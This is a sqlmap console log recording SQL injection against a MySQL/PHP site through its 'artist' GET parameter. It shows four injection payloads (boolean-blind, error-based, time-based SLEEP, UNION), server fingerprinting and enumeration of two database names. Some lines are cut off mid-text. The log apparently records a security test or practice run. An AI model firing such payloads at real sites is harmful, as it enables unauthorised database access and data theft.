```
        ___
      __H__
 ___ ___[)]_____ ___ ___    {1.9.6.10#dev}
|_ -| . [(]      | .'| . |
|___|_  [,]_|_|_|__,|  _|
     |_|V...        |_|    https://sqlmap.org
```

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is il

[*] starting @ 00:29:38 /2025-07-09/

[00:29:39] [INFO] resuming back-end DBMS 'mysql'

[00:29:39] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

Parameter: artist (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: artist=1 AND 8612=8612

    Type: error-based

    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUB

    Payload: artist=1 AND GTID_SUBSET(CONCAT(0x716b626b71,(SELECT (ELT(9071=9071,1))),0x716262

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: artist=1 AND (SELECT 6535 FROM (SELECT(SLEEP(5)))yrgi)

    Type: UNION query

    Title: Generic UNION query (NULL) - 3 columns

    Payload: artist=-3197 UNION ALL SELECT NULL,CONCAT(0x716b626b71,0x724150627573355369476843

[00:29:39] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: PHP 5.6.40, Nginx 1.19.0

back-end DBMS: MySQL >= 5.6

[00:29:39] [INFO] fetching database names

available databases [2]:

[*] acuart

[*] information_schema

[00:29:39] [INFO] fetched data logged to text files under 'C:\Users\deshm\AppData\Local\sqlmap

[*] ending @ 00:29:39 /2025-07-09/